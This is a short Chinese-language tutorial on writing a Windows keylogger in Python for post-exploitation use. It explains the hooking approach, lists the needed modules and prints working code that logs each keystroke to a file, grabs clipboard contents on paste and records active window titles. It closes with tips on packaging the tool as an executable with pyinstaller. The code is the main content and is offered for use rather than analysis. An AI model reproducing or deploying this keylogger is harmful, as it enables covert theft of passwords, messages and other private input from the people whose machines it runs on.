0x01: 键盘记录简介
键盘记录通常是后渗透操作中的一种常见手段,用于扩大渗透成果。一些C2工具集成了键盘记录功能,同时在GitHub上也有一些独立的工具,它们的开发语言、大小和实用性各不相同。
0x02: 键盘记录工作原理
键盘记录工具通过设置钩子来捕获键盘输入,其工作流程如下:
- 创建进程。
- 调用Windows API。
- 利用API钩子获取按键输入。
- 将获取的数据保存。
Python实现该功能需要以下模块:
- pywin32
- threading
- pynput
- ctypes
- os
0x03: 主要代码示例
以下是关键代码示例:
python复制
from pynput import keyboard
import win32clipboard
from ctypes import *
def keyboard_on_release(key):
with open('key_log.txt', 'a') as log_file:
log_file.write(str(key) + '\n')
if '\\x16' in str(key):
win32clipboard.OpenClipboard()
data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
log_file.write('[Ctrl+V]: {' + data + '}\n')
def get_window_name():
user32 = windll.user32
kernel32 = windll.kernel32
hwnd = user32.GetForegroundWindow()
window_title = create_string_buffer(512)
user32.GetWindowTextA(hwnd, byref(window_title), 512)
value = window_title.value
kernel32.CloseHandle(hwnd)
return value.decode('gbk')
window_name_value = ['no']
def monitor_window():
value = get_window_name()
with open('key_log.txt', 'a') as log_file:
if value != window_name_value[0]:
window_name_value[0] = value
log_file.write('[Window+name]: ' + str(value) + '\n')
with keyboard.Listener(on_release=keyboard_on_release) as listener:
listener.join()
0x04: 问题解决
-
关于win32clipboard模块的安装问题: 在Python 2中,win32模块包含了win32clipboard。在Python 3中,使用pywin32模块。
-
使用pyinstaller打包后的问题: 如果在PyCharm中可以运行,但在使用pyinstaller打包后却找不到win32clipboard,建议确保在PyCharm中安装了pyinstaller模块,而不是依赖于环境中的pyinstaller。
© 版权声明
THE END
暂无评论内容